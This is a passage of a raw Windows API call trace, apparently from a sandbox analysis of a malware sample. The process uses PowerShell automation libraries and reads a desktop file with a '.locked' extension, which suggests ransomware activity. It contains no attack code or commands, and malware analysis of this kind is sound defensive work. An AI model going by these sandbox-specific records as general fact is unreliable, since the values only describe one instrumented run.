[4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.005] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae9b0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x81, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae9b0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x81, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.007] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae94c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae94c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x81, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.007] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae5e8, nSize=0x100 | out: lpBuffer="") returned 0x0 [0126.007] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae9c0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae9c0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x82, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.007] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae920*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae920*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x81, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.007] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae9b0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x82, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae9b0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x82, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.008] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae94c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae94c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x82, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.008] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae5e8, nSize=0x100 | out: lpBuffer="") returned 0x0 [0126.009] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae9c0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae9c0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x83, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.009] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae920*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae920*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x82, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.009] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae9b0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x83, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae9b0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x83, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.010] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae94c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae94c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x83, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.010] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae5e8, nSize=0x100 | out: lpBuffer="") returned 0x0 [0126.010] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae9c0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae9c0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x84, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.010] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae920*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae920*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x83, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.010] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae9b0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x84, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae9b0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x84, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.012] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae94c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae94c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x84, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.012] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae5e8, nSize=0x100 | out: lpBuffer="") returned 0x0 [0126.012] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae9c0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae9c0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x85, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.012] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae920*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae920*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x84, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.012] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae9b0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x85, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae9b0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x85, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.014] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae94c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae94c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x85, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.016] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x99adee0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0126.016] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae058) returned 1 [0126.016] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn\\a9dY7b_1.mp3.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fjkymwc6kn-3qxyej 1u\\upd4fs3k7gadn\\a9dy7b_1.mp3.locked"), fInfoLevelId=0x0, lpFileInformation=0x6c041ec | out: lpFileInformation=0x6c041ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe529fdf, ftCreationTime.dwHighDateTime=0x1d4bf19, ftLastAccessTime.dwLowDateTime=0xe529fdf, ftLastAccessTime.dwHighDateTime=0x1d4bf19, ftLastWriteTime.dwLowDateTime=0xe529fdf, ftLastWriteTime.dwHighDateTime=0x1d4bf19, nFileSizeHigh=0x0, nFileSizeLow=0xfc64)) returned 1 [0126.016] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae054) returned 1 [0126.016] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn\\a9dY7b_1.mp3.locked", nBufferLength=0x105, lpBuffer=0x99adb34, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn\\a9dY7b_1.mp3.locked", lpFilePart=0x0) returned 0x54 [0126.016] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn\\a9dY7b_1.mp3.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fjkymwc6kn-3qxyej 1u\\upd4fs3k7gadn\\a9dy7b_1.mp3.locked"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x874 [0126.016] GetFileInformationByHandle (in: hFile=0x874, lpFileInformation=0x99ae0a0 | out: lpFileInformation=0x99ae0a0) returned 1 [0126.016] CloseHandle (hObject=0x874) returned 1 [0126.018] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae710 | out: lpConsoleScreenBufferInfo=0x99ae710) returned 1 [0126.018] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae718 | out: lpMode=0x99ae718) returned 1 [0126.019] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68c0ccc*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae710, lpReserved=0x0 | out: lpBuffer=0x68c0ccc*, lpNumberOfCharsWritten=0x99ae710*=0x2) returned 1 [0126.021] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae6b4 | out: lpConsoleScreenBufferInfo=0x99ae6b4) returned 1 [0126.021] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae708 | out: lpConsoleScreenBufferInfo=0x99ae708) returned 1 [0126.022] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae710 | out: lpMode=0x99ae710) returned 1 [0126.023] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68c0ccc*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae708, lpReserved=0x0 | out: lpBuffer=0x68c0ccc*, lpNumberOfCharsWritten=0x99ae708*=0x2) returned 1 [0126.024] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae718 | out: lpConsoleScreenBufferInfo=0x99ae718) returned 1 [0126.024] GetConsoleOutputCP () returned 0x1b5 [0126.025] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae49c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae49c) returned 0 [0126.025] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae568 | out: lpConsoleScreenBufferInfo=0x99ae568) returned 1 [0126.026] GetConsoleOutputCP () returned 0x1b5 [0126.026] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae504, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae504) returned 0 [0126.026] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae570 | out: lpMode=0x99ae570) returned 1 [0126.027] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x6c2c864*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x99ae568, lpReserved=0x0 | out: lpBuffer=0x6c2c864*, lpNumberOfCharsWritten=0x99ae568*=0x4f) returned 1 [0126.028] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae570 | out: lpMode=0x99ae570) returned 1 [0126.029] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68c0ccc*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae568, lpReserved=0x0 | out: lpBuffer=0x68c0ccc*, lpNumberOfCharsWritten=0x99ae568*=0x2) returned 1 [0126.029] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae670 | out: lpConsoleScreenBufferInfo=0x99ae670) returned 1 [0126.032] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae678 | out: lpMode=0x99ae678) returned 1 [0126.051] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68c0ccc*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae670, lpReserved=0x0 | out: lpBuffer=0x68c0ccc*, lpNumberOfCharsWritten=0x99ae670*=0x2) returned 1 [0126.052] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae708 | out: lpConsoleScreenBufferInfo=0x99ae708) returned 1 [0126.052] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae710 | out: lpMode=0x99ae710) returned 1 [0126.053] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68c0ccc*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae708, lpReserved=0x0 | out: lpBuffer=0x68c0ccc*, lpNumberOfCharsWritten=0x99ae708*=0x2) returned 1 [0126.053] GetConsoleOutputCP () returned 0x1b5 [0126.053] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae528, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae528) returned 0 [0126.053] GetConsoleOutputCP () returned 0x1b5 [0126.054] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae5c0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae5c0) returned 0 [0126.054] GetConsoleOutputCP () returned 0x1b5 [0126.055] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae59c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae59c) returned 0 [0126.055] GetConsoleOutputCP () returned 0x1b5 [0126.055] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae59c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae59c) returned 0 [0126.055] GetConsoleOutputCP () returned 0x1b5 [0126.064] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae528, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae528) returned 0 [0126.064] GetConsoleOutputCP () returned 0x1b5 [0126.065] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae5c0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae5c0) returned 0 [0126.065] GetConsoleOutputCP () returned 0x1b5 [0126.066] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae59c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae59c) returned 0 [0126.066] GetConsoleOutputCP () returned 0x1b5 [0126.067] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae59c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae59c) returned 0 [0126.067] GetConsoleOutputCP () returned 0x1b5 [0126.067] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae528, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae528) returned 0 [0126.067] GetConsoleOutputCP () returned 0x1b5 [0126.068] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae5c0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae5c0) returned 0 [0126.068] GetConsoleOutputCP () returned 0x1b5 [0126.069] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae59c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae59c) returned 0 [0126.069] GetConsoleOutputCP () returned 0x1b5 [0126.069] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae59c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae59c) returned 0 [0126.069] GetConsoleOutputCP () returned 0x1b5 [0126.070] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae528, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae528) returned 0 [0126.070] GetConsoleOutputCP () returned 0x1b5 [0126.071] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae5c0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae5c0) returned 0 [0126.071] GetConsoleOutputCP () returned 0x1b5 [0126.071] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae59c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae59c) returned 0 [0126.071] GetConsoleOutputCP () returned 0x1b5 [0126.072] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae59c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae59c) returned 0 [0126.072] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae664 | out: lpConsoleScreenBufferInfo=0x99ae664) returned 1 [0126.074] GetConsoleOutputCP () returned 0x1b5 [0126.099] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae600, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae600) returned 0 [0126.100] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae66c | out: lpMode=0x99ae66c) returned 1 [0126.100] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x6c2d758*, nNumberOfCharsToWrite=0x77, lpNumberOfCharsWritten=0x99ae664, lpReserved=0x0 | out: lpBuffer=0x6c2d758*, lpNumberOfCharsWritten=0x99ae664*=0x77) returned 1 [0126.101] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae66c | out: lpMode=0x99ae66c) returned 1 [0126.101] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68c0ccc*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae664, lpReserved=0x0 | out: lpBuffer=0x68c0ccc*, lpNumberOfCharsWritten=0x99ae664*=0x2) returned 1 [0126.102] GetConsoleOutputCP () returned 0x1b5 [0126.103] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae660, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae660) returned 0 [0126.103] GetConsoleOutputCP () returned 0x1b5 [0126.104] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae660, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae660) returned 0 [0126.104] GetConsoleOutputCP () returned 0x1b5 [0126.104] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae660, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae660) returned 0 [0126.104] GetConsoleOutputCP () returned 0x1b5 [0126.105] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae660, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae660) returned 0 [0126.105] GetConsoleOutputCP () returned 0x1b5 [0126.105] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae5ec, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae5ec) returned 0 [0126.105] GetConsoleOutputCP () returned 0x1b5 [0126.105] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae5ec, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae5ec) returned 0 [0126.107] GetConsoleOutputCP () returned 0x1b5 [0126.109] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae5ec, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae5ec) returned 0 [0126.109] GetConsoleOutputCP () returned 0x1b5 [0126.109] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae5ec, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae5ec) returned 0 [0126.109] GetConsoleOutputCP () returned 0x1b5 [0126.110] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae5ec, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae5ec) returned 0 [0126.110] GetConsoleOutputCP () returned 0x1b5 [0126.126] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae5ec, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae5ec) returned 0 [0126.126] GetConsoleOutputCP () returned 0x1b5 [0126.127] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae5ec, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae5ec) returned 0 [0126.127] GetConsoleOutputCP () returned 0x1b5 [0126.128] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae5ec, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae5ec) returned 0 [0126.128] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae664 | out: lpConsoleScreenBufferInfo=0x99ae664) returned 1 [0126.137] GetConsoleOutputCP () returned 0x1b5 [0126.139] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae600, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae600) returned 0 [0126.140] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae66c | out: lpMode=0x99ae66c) returned 1 [0126.140] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x6c2e1b0*, nNumberOfCharsToWrite=0x77, lpNumberOfCharsWritten=0x99ae664, lpReserved=0x0 | out: lpBuffer=0x6c2e1b0*, lpNumberOfCharsWritten=0x99ae664*=0x77) returned 1 [0126.141] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae66c | out: lpMode=0x99ae66c) returned 1 [0126.142] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68c0ccc*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae664, lpReserved=0x0 | out: lpBuffer=0x68c0ccc*, lpNumberOfCharsWritten=0x99ae664*=0x2) returned 1 [0126.145] GetConsoleOutputCP () returned 0x1b5 [0126.145] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae560, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae560) returned 0 [0126.146] GetConsoleOutputCP () returned 0x1b5 [0126.146] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae5f8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae5f8) returned 0 [0126.146] GetConsoleOutputCP () returned 0x1b5 [0126.149] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae5d4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae5d4) returned 0 [0126.149] GetConsoleOutputCP () returned 0x1b5 [0126.149] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae5d4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae5d4) returned 0 [0126.150] GetConsoleOutputCP () returned 0x1b5 [0126.150] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae560, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae560) returned 0 [0126.150] GetConsoleOutputCP () returned 0x1b5 [0126.151] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae5f8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae5f8) returned 0 [0126.151] GetConsoleOutputCP () returned 0x1b5 [0126.151] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae5d4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae5d4) returned 0 [0126.152] GetConsoleOutputCP () returned 0x1b5 [0126.152] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae5d4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae5d4) returned 0 [0126.152] GetConsoleOutputCP () returned 0x1b5 [0126.173] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae560, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae560) returned 0 [0126.173] GetConsoleOutputCP () returned 0x1b5 [0126.175] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae5f8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae5f8) returned 0 [0126.175] GetConsoleOutputCP () returned 0x1b5 [0126.176] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae5d4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae5d4) returned 0 [0126.176] GetConsoleOutputCP () returned 0x1b5 [0126.177] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae5d4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae5d4) returned 0 [0126.177] GetConsoleOutputCP () returned 0x1b5 [0126.178] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae560, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae560) returned 0 [0126.178] GetConsoleOutputCP () returned 0x1b5 [0126.179] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae5f8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae5f8) returned 0 [0126.179] GetConsoleOutputCP () returned 0x1b5 [0126.179] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae5d4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae5d4) returned 0 [0126.179] GetConsoleOutputCP () returned 0x1b5 [0126.180] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae5d4, dwFlags=0x2 | out: lpSrc=0x1b5, 